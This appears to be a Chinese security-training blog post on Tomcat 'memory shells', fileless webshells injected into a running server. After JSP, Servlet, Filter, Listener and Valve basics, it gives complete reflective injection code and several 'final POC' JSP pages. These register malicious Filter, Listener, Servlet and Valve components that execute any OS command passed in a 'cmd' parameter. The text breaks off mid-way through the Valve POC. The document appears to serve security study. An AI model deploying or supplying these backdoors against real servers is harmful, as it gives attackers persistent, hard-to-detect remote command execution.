扫码领资料
获网安教程
本文由掌控安全学院 - fupanc 投稿
来Track安全社区投稿~
千元稿费!还有保底奖励~(https://bbs.zkaq.cn)
Tomcat内存马
内存马即仅存在于内存中的无文件恶意代码。也就是无文件落地的 webshell 技术。
webshell实际上也是一种web服务,那么从创建web服务的角度来看,有下面几种手段和思路:
基础知识
JSP
语法
脚本程序
<% 代码片段 %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
<%
out.println("成功调用脚本程序");
%>
</body>
</html>
JSP声明
<%! declared; %>
<jsp:declaration>
代码片段
</jsp:declaration>
<%! int i = 0; %>
JSP表达式
<%= 表达式 %>
<jsp:expression> 表达式</jsp:expression>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
<p>
今天的日期是: <%= (new java.util.Date()).toLocaleString()%>
</p>
</body>
</html>
JSP注释
<%--注释--%>
JSP指令
<%@ directive attribute="value" %>
|
|
|
|
|
|
|
|
<%@ include file="文件相对 url 地址" %>
<jsp:directive.include file="文件相对 url 地址" />
https://www.runoob.com/jsp/jsp-directives.html
,还是很有想法的。JSP隐式对象
request:HttpServletRequest接口的实例
response:HttpServletResponse 接口的实例
out:JspWrite类的实例,用于把结果输出至网页上
session:HttpSession类的实例
application:ServletContext类的实例
config:ServletConfig类的实例
pageContext:PageContext类的实例,提供对JSP页面所有对象以及命令空间的访问
page:类似与java中的this关键字
Exception:Exception类的对象,代表发生错误的JSP页面中对应的异常对象
<%
request.setAttribute("name","fupanc"); //往request对象中存储一个值 key-value的形式
request.setCharacterEncoding("utf-8"); //设置编码格式
request.getParameter("");//获取提交的指定参数的值
request.getParameterNames();//返回请求中所有参数的集合
request.getParameterValues("");//获取包含指定参数的所有值的数组
request.getAttributeNames();//获取所有属性名称集合
request.getAttribute("name");//获取指定属性的属性值,如果不存在返回null
request.getCharacterEncoding();//获取编码格式
request.getProtocol();//获取HTTP使用的协议
request.getServletPath();//获取用户提交信息的页面的路径
request.getMethod();//获取用户提交的方式(GET/POST 等)
request.getHeaderNames();//返回所有HTTP头的名称集合
request.getHeader("");//获取header中指定属性的值
request.getRemoteAddr();//获取用户的ip地址
request.getRemoteHost();//获取用户的主机名
request.getServerName();//获取服务器的名称
request.getServerPort();//获取服务器端口号
request.getCookies();//返回客户端所有的Cookie的数组
request.getSession();//返回request对应的session对象,如果没有,则创建一个
request.getInputStream();//返回请求的输入流
request.getContextPath();//返回request URI中指明的上下文路径
request.getRequestDispatcher("result.jsp").forward(request,response);//请求转发
%>
response.getOutputStream();//返回一个响应二进制的输出流
response.getWrite();//返回可以输出字符的对象
response.sendRedirect("");//页面重定向
response.setContextLength(1000);//设置响应头长度
response.setContentType("text/html; charset=utf-8");//设置响应的MIME类型
response.getCharacterEncoding();//获取编码格式
response.addCookie(new Cookie("",""));//添加Cookie
response.setHeader("Content-Disposition","attachment; filename=fileName");//配置header,表示浏览器已下载的方式打开文件
response.setStatus(200);//设置响应码
<%
session.setAttribute("name", "yzq");
session.setAttribute("age", 25);
session.getCreationTime();//获取创建时间
session.getId();//获取sessionid
session.invalidate();//取消session,使session不可用
session.removeAttribute("name");//移除某个属性
%>
|
|
|
|
|
|
|
|
https://www.runoob.com/jsp/jsp-tutorial.html
Tomcat架构学习
Java Web三大件
Servlet
请求的处理过程
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
@WebServlet("/TestServlet")
public class TestServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
response.getWriter().write("hello Drunbaby");
}
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
}
}
servlet 生命周期
Filter
基本工作原理
Filter的生命周期
import javax.servlet.*;
import java.io.IOException;
public class FilterTest implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
// 在这里面进行 doGet 和 doPost 这种类似的
}
@Override
public void destroy() {
}
}
Filter链
Listener
Tomcat架构
Tomcat说明
Tomcat架构原理
server
service
Connector
Container
虚拟主机
,一个Tomcat可以支持多个虚拟主机。而一个虚拟主机下可包含多个 Context,Host的实现类为 org.apache.catalina.core.StandardHost。pipeline/valve
内存马学习
Filter 型内存马
相关类了解
Filter链 流程分析
package filter;
import javax.servlet.*;
import java.io.IOException;
import org.apache.catalina.core.StandardWrapper;
public class TestFilter implements Filter {
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("第一个Filter 初始化创建");
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("第一个Filter执行过滤操作");
filterChain.doFilter(servletRequest,servletResponse);
}
public void destroy() {
}
}
package filter;
import javax.servlet.*;
import java.io.IOException;
public class TestDemo implements Filter {
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("第二个Filter 初始化创建");
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("第二个Filter执行过滤操作");
filterChain.doFilter(servletRequest,servletResponse);
}
public void destroy() {
}
}
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<filter>
<filter-name>filter</filter-name> <!--名字 -->
<filter-class>filter.TestFilter</filter-class><!--位置 -->
</filter>
<filter-mapping>
<filter-name>filter</filter-name><!--调用 -->
<url-pattern>/filter</url-pattern><!--表示访问filter路由的web资源都是被拦截,而/*表示所有的URL都会被拦截 -->
</filter-mapping>
<filter>
<filter-name>filter1</filter-name>
<filter-class>filter.TestDemo</filter-class>
</filter>
<filter-mapping>
<filter-name>filter1</filter-name>
<url-pattern>/filter</url-pattern>
</filter-mapping>
</web-app>
lib
目录下,直接在idea里面拉进去即可:if (this.pos < this.n) {
ApplicationFilterConfig filterConfig = this.filters[this.pos++];
try {
Filter filter = filterConfig.getFilter();
if (request.isAsyncSupported() && !filterConfig.getFilterDef().getAsyncSupportedBoolean()) {
request.setAttribute("org.apache.catalina.ASYNC_SUPPORTED", Boolean.FALSE);
}
if (Globals.IS_SECURITY_ENABLED) {
Principal principal = ((HttpServletRequest)request).getUserPrincipal();
Object[] args = new Object[]{request, response, this};
SecurityUtil.doAsPrivilege("doFilter", filter, classType, args, principal);
} else {
filter.doFilter(request, response, this);
}
}
/filter前流程分析
ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);
StandardContext context = (StandardContext)wrapper.getParent();
FilterMap[] filterMaps = context.findFilterMaps();
/filter
路由,就还会进行一次上面的过程,只不过就是我们前面的分析Filter 链的流程。补充
filterConfigs
<filter>
标签。filterDefs
filterMaps
<filter-mapping>
标签:如何攻击
动态注册Filter
获取StandardContext对象
ServletContext servletContext = rerquest.getSession().getServletContext();
Field context0 = servletContext.getClass().getDeclaredField("context");
context0.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext)context0.get(servletContext);
Field context1 = applicationContext.getClass().getDeclaredField("context");
context1.setAccessible(true);
StandardContext standardContext = (StandardContext)context1.get(applicationContext)
创建恶意filter
Filter evilFilter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
String cmd;
if ((cmd = servletRequest.getParameter("cmd")) != null) {
Runtime runtime = Runtime.getRuntime();
runtime.exec(cmd);
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
};
如何封装
org.apache.tomcat.util.descriptor.web.FilterDef;
,我们可以实例化一个FilterDef对象,并将恶意构造的恶意类添加到filterDef中://前面创建恶意filter是用的匿名内部类的方式创建的,当然也可以直接public声明一个恶意的filter类,利用方式不同而已。
String name = "badFilter";
FilterDef filterDef = new FilterDef();
//设置filter名称
filterDef.setFilterName(name)
//声明filter类代码源
filterDef.setFilterClass(evilFilter.getClass().getName());
filterDef.setFilter(evilFilter);
//添加filterDef
standardContext.addFilterDef(filterDef);
org.apache.tomcat.util.descriptor.web.FilterMap
,在这里我们需要实例化一个FilteMap对象,并将filteMap添加到所有filte最前面:FilterMap filterMap = new FilterMap();
//设置拦截路由
filterMap.addURLPattern("/*");
//name=badFilter
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
//添加我们的filterMap到所有filterr最前面
standardContext.addFilterMapBefore(filterMap);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
,这个方法是用来设置FilterMap的当前状态,该状态表示何时应用过滤器。在这里表示一个直接的客户端请求,也就是当用户直接请求一个资源或者重定向到达该资源时,会触发过滤器。Field configs = standardContext.getClass().getDeclaredField("filterConfigs");
configs.setAccessible(true);
Map filterConfigs = (Map)configs.get(standardContext);
Constructor constructor1 = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor1.setAccessible(true);
Object o = constructor1.newInstance(standardContext,filterDef);
//name=badFilter
filterConfigs.put(name,o);
动态注入
//获取ApplicationContext类型的context
ServletContext facade = request.getSession().getServletContext();
Field field0 = facade.getClass().getDeclaredField("context");
field0.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext)field0.get(facade);
//获取StandardContext类型的context
Field field1 = applicationContext.getClass().getDeclaredField("context");
field1.setAccessible(true);
StandardContext standardContext = (StandardContext)field1.get(applicationContext);
//创建恶意filter
Filter evilFilter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
String cmd;
if ((cmd = servletRequest.getParameter("cmd")) != null) {
Runtime runtime = Runtime.getRuntime();
runtime.exec(cmd);
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
};
//设置基本的预定义的filtername
String name = "badFilter";
//创建filterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(name);
filterDef.setFilterClass(evilFilter.getClass().getName());
filterDef.setFilter(evilFilter);
standardContext.addFilterDef(filterDef);
//创建filterMap
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
//创建filterConfig所需的ApplicationFilterConfig
Constructor constructor1 = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor1.setAccessible(true);
Object o = constructor1.newInstance(standardContext,filterDef);
//放入filterConfigs
Field configs = standardContext.getClass().getDeclaredField("filterConfigs");
configs.setAccessible(true);
Map filterMaps = (Map)configs.get(standardContext);
filterMaps.put(name,o);
最终POC
<%--
Created by IntelliJ IDEA.
User: ASUS
Date: 2024/9/1
Time: 13:34
To change this template use File | Settings | File Templates.
--%>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.lang.String" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
//获取ApplicationContext类型的context
ServletContext facade = request.getSession().getServletContext();
Field field0 = facade.getClass().getDeclaredField("context");
field0.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext)field0.get(facade);
//获取StandardContext类型的context
Field field1 = applicationContext.getClass().getDeclaredField("context");
field1.setAccessible(true);
StandardContext standardContext = (StandardContext)field1.get(applicationContext);
//创建恶意filter
Filter evilFilter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
String cmd;
if ((cmd = servletRequest.getParameter("cmd")) != null) {
Runtime runtime = Runtime.getRuntime();
runtime.exec(cmd);
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
};
//设置基本的预定义的filtername
String name = "badFilter";
//创建filterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(name);
filterDef.setFilterClass(evilFilter.getClass().getName());
filterDef.setFilter(evilFilter);
standardContext.addFilterDef(filterDef);
//创建filterMap
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
//创建filterConfig所需的ApplicationFilterConfig
Constructor constructor1 = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor1.setAccessible(true);
Object o = constructor1.newInstance(standardContext,filterDef);
//放入filterConfigs
Field configs = standardContext.getClass().getDeclaredField("filterConfigs");
configs.setAccessible(true);
Map filterMaps = (Map)configs.get(standardContext);
filterMaps.put(name,o);
//加上提示
out.println("success inject");
%>
<!-- tomcat 8/9 -->
<% page import = "org.apache.tomcat.util.descriptor.web.FilterMap" %>
<% page import = "org.apache.tomcat.util.descriptor.web.FilterDef" %>
<!-- tomcat 7 -->
<%@ page import = "org.apache.catalina.deploy.FilterMap" %>
<%@ page import = "org.apache.catalina.deploy.FilterDef" %>
Listener型内存马
ServletContextListener //服务器启动和终止时触发
HttpSessionListener //有关session操作时触发
ServletRequestListener //访问服务时触发
基本Listener构造
requestInitialized
方法。package listener;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
public class Listener implements ServletRequestListener{
public void requestDestroyed(ServletRequestEvent sre) {
System.out.println("执行了销毁");
}
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("执行了创建");
}
}
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<listener>
<listener-class>listener.Listener</listener-class>
</listener>
</web-app>
Listener流程分析
应用运行前
应用运行过程
注入过程
ServletContext servletContext = request.getSession().getServletContext();
Field field0 = servletContext.getClass().getDeclaredField("context");
field0.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext)field0.get(servletContext);
Field field1 = applicationContext.getClass().getDeclaredField("context");
field1.setAccessible(true);
StandardContext standardContext = (StandardContext)field1.get(applicationContext);
ServletRequestListener badListener = new ServletRequestListener(){
public void requestDestroyed(ServletRequestEvent sre) {
System.out.println("销毁");
}
public void requestInitialized(ServletRequestEvent sre) {
ServletRequest request = (ServletRequest)sre.getServletRequest();
String shell = request.getParameter("cmd");
if(shell != null){
try {
Runtime.getRuntime().exec(shell);
} catch (IOException e) {
e.printStackTrace();
}
}
}
};
//获取StandardContext对象
ServletContext servletContext = request.getSession().getServletContext();
Field field0 = servletContext.getClass().getDeclaredField("context");
field0.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext)field0.get(servletContext);
Field field1 = applicationContext.getClass().getDeclaredField("context");
field1.setAccessible(true);
StandardContext standardContext = (StandardContext)field1.get(applicationContext);
//编写恶意listener
ServletRequestListener badListener = new ServletRequestListener(){
public void requestDestroyed(ServletRequestEvent sre) {
System.out.println("销毁");
}
public void requestInitialized(ServletRequestEvent sre) {
ServletRequest request = (ServletRequest)sre.getServletRequest();
String shell = request.getParameter("cmd");
if(shell != null){
try {
Runtime.getRuntime().exec(shell);
} catch (IOException e) {
e.printStackTrace();
}
}
}
};
//注入恶意代码
standardContext.setApplicationEventListeners(new Object[]{badListener});
最终POC
<%@ page import="org.apache.catalina.core.ApplicationContext" %><%@ page import="java.lang.reflect.Field" %><%@ page import="org.apache.catalina.core.StandardContext" %><%@ page import="java.io.IOException" %><%@ page contentType="text/html;charset=UTF-8" language="java" %><% //获取StandardContext对象 ServletContext servletContext = request.getSession().getServletContext(); Field field0 = servletContext.getClass().getDeclaredField("context"); field0.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext)field0.get(servletContext); Field field1 = applicationContext.getClass().getDeclaredField("context"); field1.setAccessible(true); StandardContext standardContext = (StandardContext)field1.get(applicationContext);//编写恶意listener ServletRequestListener badListener = new ServletRequestListener(){ public void requestDestroyed(ServletRequestEvent sre) { System.out.println("销毁"); } public void requestInitialized(ServletRequestEvent sre) { ServletRequest request = (ServletRequest)sre.getServletRequest(); String shell = request.getParameter("cmd"); if(shell != null){ try { Runtime.getRuntime().exec(shell); } catch (IOException e) { e.printStackTrace(); } } } };//注入恶意代码 standardContext.setApplicationEventListeners(new Object[]{badListener});//提示 out.println("注入成功");%>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.IOException" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
//获取StandardContext对象
ServletContext servletContext = request.getSession().getServletContext();
Field field0 = servletContext.getClass().getDeclaredField("context");
field0.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext)field0.get(servletContext);
Field field1 = applicationContext.getClass().getDeclaredField("context");
field1.setAccessible(true);
StandardContext standardContext = (StandardContext)field1.get(applicationContext);
//编写恶意listener
ServletRequestListener badListener = new ServletRequestListener(){
public void requestDestroyed(ServletRequestEvent sre) {
System.out.println("销毁");
}
public void requestInitialized(ServletRequestEvent sre) {
ServletRequest request = (ServletRequest)sre.getServletRequest();
String shell = request.getParameter("cmd");
if(shell != null){
try {
Runtime.getRuntime().exec(shell);
} catch (IOException e) {
e.printStackTrace();
}
}
}
};
//注入恶意代码
standardContext.setApplicationEventListeners(new Object[]{badListener});
//提示
out.println("注入成功");
%>
Sevlet型内存马
<servlet>
<servlet-name>ServletTest</servlet-name>
<servlet-class>Servlet.ServletTest</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>ServletTest</servlet-name>
<url-pattern>/servlet</url-pattern>
</servlet-mapping>
package Servlet;
import javax.servlet.*;
import java.io.IOException;
import java.util.Scanner;
import java.io.InputStream;
import java.io.PrintWriter;
import javax.servlet.annotation.WebServlet;
@WebServlet(value = "/servlet",name = "ServletTest")
public class ServletTest implements Servlet {
public void init(ServletConfig var1) throws ServletException{
}
public ServletConfig getServletConfig(){
return null;
}
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException{
System.out.println("servlet启动");
String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
public String getServletInfo(){
return null;
}
public void destroy(){
}
}
Interface Servlet, ServletConfig
↓
abstract class GenericServlet
↓
class HttpServlet
↓
自定义 Servlet
调试分析
调试分析servlet的加载过程
org.apache.catalins.core.StandardContext
类的startInternal()
方法中,首先调用了listenerStart()
,接着是filterStart()
,最后是loadOnstartup()
。这三处调用触发了Listener、Filter、Servlet的构造加载。public boolean loadOnStartup(Container children[]) {
// Collect "load on startup" servlets that need to be initialized
TreeMap<Integer,ArrayList<Wrapper>> map = new TreeMap<>();
for (Container child : children) {
Wrapper wrapper = (Wrapper) child;
int loadOnStartup = wrapper.getLoadOnStartup();
if (loadOnStartup < 0) {
continue;
}
Integer key = Integer.valueOf(loadOnStartup);
map.computeIfAbsent(key, k -> new ArrayList<>()).add(wrapper);
}
// Load the collected "load on startup" servlets
for (ArrayList<Wrapper> list : map.values()) {
for (Wrapper wrapper : list) {
try {
wrapper.load();
} catch (ServletException e) {
getLogger().error(
sm.getString("standardContext.loadOnStartup.loadException", getName(), wrapper.getName()),
StandardWrapper.getRootCause(e));
// NOTE: load errors (including a servlet that throws
// UnavailableException from the init() method) are NOT
// fatal to application startup
// unless failCtxIfServletStartFails="true" is specified
if (getComputedFailCtxIfServletStartFails()) {
return false;
}
}
}
}
return true;
}
<load-on-startup>1</load-on-startup>
<servlet>
<servlet-name>ServletTest</servlet-name>
<servlet-class>Servlet.ServletTest</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>ServletTest</servlet-name>
<url-pattern>/servlet</url-pattern>
</servlet-mapping>
调试分析servlet的初始化过程
@Override
public Wrapper createWrapper() {
Wrapper wrapper = null;
if (wrapperClass != null) {
try {
wrapper = (Wrapper) wrapperClass.getConstructor().newInstance();
} catch (Throwable t) {
ExceptionUtils.handleThrowable(t);
log.error(sm.getString("standardContext.createWrapper.error"), t);
return null;
}
} else {
wrapper = new StandardWrapper();
}
synchronized (wrapperLifecyclesLock) {
for (String wrapperLifecycle : wrapperLifecycles) {
try {
Class<?> clazz = Class.forName(wrapperLifecycle);
LifecycleListener listener = (LifecycleListener) clazz.getConstructor().newInstance();
wrapper.addLifecycleListener(listener);
} catch (Throwable t) {
ExceptionUtils.handleThrowable(t);
log.error(sm.getString("standardContext.createWrapper.listenerError"), t);
return null;
}
}
}
synchronized (wrapperListenersLock) {
for (String wrapperListener : wrapperListeners) {
try {
Class<?> clazz = Class.forName(wrapperListener);
ContainerListener listener = (ContainerListener) clazz.getConstructor().newInstance();
wrapper.addContainerListener(listener);
} catch (Throwable t) {
ExceptionUtils.handleThrowable(t);
log.error(sm.getString("standardContext.createWrapper.containerListenerError"), t);
return null;
}
}
}
return wrapper;
}
注入过程
Servlet badServlet = new Servlet(){
public void init(ServletConfig var1) throws ServletException{
}
public ServletConfig getServletConfig(){
return null;
}
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException{
System.out.println("servlet启动");
String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
public String getServletInfo(){
return null;
}
public void destroy(){
}
};
ServletContext servletContext = request.getSession().getServletContext();
Field field0 = servletContext.getClass().getDeclaredField("context");
field0.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext)field0.get(servletContext);
Field field1 = applicationContext.getClass().getDeclaredField("context");
field1.setAccessible(true);
StandardContext standardContext = (StandardContext)field1.get(applicationContext);
//预设置Servlet名称
String name = "123"; //名称随便
//获取StandardWrapper
Wrapper wrapper = (Wrapper)standardContext.createWrapper();
//相关配置
wrapper.setName(name);
wrapper.setLoadOnStartup(1);
//wrapper.setServletClass(name); //有无无所谓
wrapper.setServlet(badServlet); //重点设置为Wrapper点在这里
//将其加入到当前环境的StandardContext中
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/servlet",name);
最终POC
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
Servlet badServlet = new Servlet(){
public void init(ServletConfig var1) throws ServletException{
}
public ServletConfig getServletConfig(){
return null;
}
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException{
System.out.println("servlet启动");
String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
public String getServletInfo(){
return null;
}
public void destroy(){
}
};
ServletContext servletContext = request.getSession().getServletContext();
Field field0 = servletContext.getClass().getDeclaredField("context");
field0.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext)field0.get(servletContext);
Field field1 = applicationContext.getClass().getDeclaredField("context");
field1.setAccessible(true);
StandardContext standardContext = (StandardContext)field1.get(applicationContext);
//预设置Servlet名称
String name = badServlet.getClass().getName(); //名称随便
//获取StandardWrapper
Wrapper wrapper = (Wrapper)standardContext.createWrapper();
//相关配置
wrapper.setName(name);
wrapper.setLoadOnStartup(1);
//wrapper.setServletClass(name); //有无无所谓
wrapper.setServlet(badServlet); //重点设置为Wrapper点在这里
//将其加入到当前环境的StandardContext中
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/servlet",name);
%>
Valve 型内存马
package org.apache.catalina;
import java.io.IOException;
import javax.servlet.ServletException;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
public interface Valve {
//获取下一个Valve,null代表最后一个
Valve getNext();
//设置下一个Valve
void setNext(Valve valve);
void backgroundProcess();
//执行对应请求处理逻辑
void invoke(Request request, Response response) throws IOException, ServletException;
boolean isAsyncSupported();
}
Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
Request request1 = (Request) requestField.get(request);
StandardContext standardContext = (StandardContext) request1.getContext();
// StandardHost standardHost = (StandardHost) request1.getHost();
// StandardWrapper standardWrapper = (StandardWrapper) request1.getWrapper();
ServletContext servletContext = request.getSession().getServletContext();
Field field0 = servletContext.getClass().getDeclaredField("context");
field0.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext)field0.get(servletContext);
Field field1 = applicationContext.getClass().getDeclaredField("context");
field1.setAccessible(true);
StandardContext standardContext = (StandardContext)field1.get(applicationContext);
ValveBase badValve = new ValveBase() {
public void invoke(Request req, Response resp){
try {
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
InputStream in = isLinux ? (Runtime.getRuntime().exec(new String[]{"sh", "-c",req.getParameter("cmd")}).getInputStream()) : (Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream());
Scanner s = new Scanner(in).useDelimiter("\A");
String o = s.hasNext() ? s.next() : "";
resp.getWriter().write(o);
}
this.getNext().invoke(req, resp);
} catch (Exception e) {
e.printStackTrace();
}
}
};
ServletContext servletContext = request.getSession().getServletContext();
Field field0 = servletContext.getClass().getDeclaredField("context");
field0.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext)field0.get(servletContext);
Field field1 = applicationContext.getClass().getDeclaredField("context");
field1.setAccessible(true);
StandardContext standardContext = (StandardContext)field1.get(applicationContext);
ValveBase badValve = new ValveBase() {
public void invoke(Request req, Response resp){
try {
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
InputStream in = isLinux ? (Runtime.getRuntime().exec(new String[]{"sh", "-c",req.getParameter("cmd")}).getInputStream()) : (Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream());
Scanner s = new Scanner(in).useDelimiter("\A");
String o = s.hasNext() ? s.next() : "";
resp.getWriter().write(o);
}
this.getNext().invoke(req, resp);
} catch (Exception e) {
e.printStackTrace();
}
}
};
standardContext.addValve(badValve);
最终POC
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
ServletContext servletContext = request.getSession().getServletContext();
Field field0 = servletContext.getClass().getDeclaredField("context");
field0.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext)field0.get(servletContext);
Field field1 = applicationContext.getClass().getDeclaredField("context");
field1.setAccessible(true);
StandardContext standardContext = (StandardContext)field1.get(applicationContext);
ValveBase badValve = new ValveBase() {
public void invoke(Request req, Response resp){
try {
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
